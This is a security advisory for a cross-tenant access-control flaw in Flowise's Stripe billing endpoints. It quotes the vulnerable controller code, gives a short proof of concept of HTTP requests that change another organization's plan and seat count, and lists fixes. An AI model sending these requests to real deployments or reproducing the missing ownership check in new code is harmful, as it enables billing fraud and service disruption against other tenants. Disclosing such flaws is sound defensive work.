CVE-2026-70476: Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
Summary Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.
This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.
Details Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.
File
packages/server/src/enterprise/routes/organization.route.ts
Affected routes:
typescript router.post('/update-additional-seats', organizationController.updateAdditionalSeats) router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan) updateSubscriptionPlan
File
packages/server/src/enterprise/controllers/organization.controller.ts
typescript public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) { const { subscriptionId, newPlanId, prorationDate } = req.body
const identityManager = getRunningExpressApp().identityManager
const result = await identityManager.updateSubscriptionPlan( req, subscriptionId, newPlanId, prorationDate )
return res.status(StatusCodes.OK).json(result) }
The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.
Missing validation: subscriptionId belongs to req.user.activeOrganization
updateAdditionalSeats
typescript public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) { const { subscriptionId, quantity, prorationDate } = req.body
const identityManager = getRunningExpressApp().identityManager
const result = await identityManager.updateAdditionalSeats( subscriptionId, quantity, prorationDate )
return res.status(StatusCodes.OK).json(result) }
Again, the subscriptionId is taken directly from the request body without verifying ownership.
PoC Step 1 - Obtain victim subscriptionId
This identifier may be obtained via the organization read endpoint or other exposed references.
Example:
subYYYYYYYYYYYY
Step 2 - Modify victim subscription
http POST /api/v1/organization/update-subscription-plan Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json
{ "subscriptionId": "subYYYYYYYYYYYY", "newPlanId": "freeplanid", "prorationDate": 1735689600 }
Step 3 - Change seat quantity
http POST /api/v1/organization/update-additional-seats Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json
{ "subscriptionId": "subYYYYYYYYYYYY", "quantity": 0, "prorationDate": 1735689600 }
Impact An authenticated attacker can manipulate the Stripe subscription of other organizations.
Possible consequences include:
- Unauthorized subscription upgrades to higher-priced plans - Manipulation of paid seat quantities leading to unintended charges - Service disruption through plan downgrades
Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.
Other sources
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, several organization billing endpoints in packages/server/src/enterprise/routes/organization.route.ts and packages/server/src/enterprise/controllers/organization.controller.ts accept attacker-controlled Stripe subscriptionId values without verifying that the identifier belongs to the authenticated user's organization. An authenticated attacker can perform unauthorized Stripe subscription operations on other tenants, including changing subscription plans or modifying seat quantities, resulting in financial impact and service disruption. This issue is fixed in 3.1.3.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/flowiseto a version that resolves this vulnerability.Fixed in 3.1.3 - Upgrade
Upgrade
Flowise (enterprise organization billing endpoints)to a version that resolves this vulnerability.Fixed in 3.1.3 - Configuration
In packages/server/src/enterprise/routes/organization.route.ts and packages/server/src/enterprise/controllers/organization.controller.ts, reject requests where the client-supplied Stripe subscriptionId does not belong to the authenticated user's organization (req.user.activeOrganization) before forwarding to the Stripe integration layer.
Flowise / Stripe subscription endpoints subscriptionId ownership validation = Validate that req.body.subscriptionId belongs to req.user.activeOrganization before calling identityManager.updateAdditionalSeats and identityManager.updateSubscriptionPlan
Event History
Frequently Asked Questions
What is the severity of CVE-2026-70476?
CVE-2026-70476 has a high severity rating of 8.3.
What is CVE-2026-70476 about?
CVE-2026-70476 involves broken access control in Stripe subscription endpoints that allow cross-tenant billing manipulation.
How can I mitigate CVE-2026-70476?
To mitigate CVE-2026-70476, ensure that billing endpoints validate subscription identifiers against the authenticated user's organization.
Which software is affected by CVE-2026-70476?
CVE-2026-70476 affects the npm package Flowise.
What kind of attacks can result from CVE-2026-70476?
CVE-2026-70476 can allow authenticated attackers to perform unauthorized operations on Stripe subscriptions belonging to other tenants.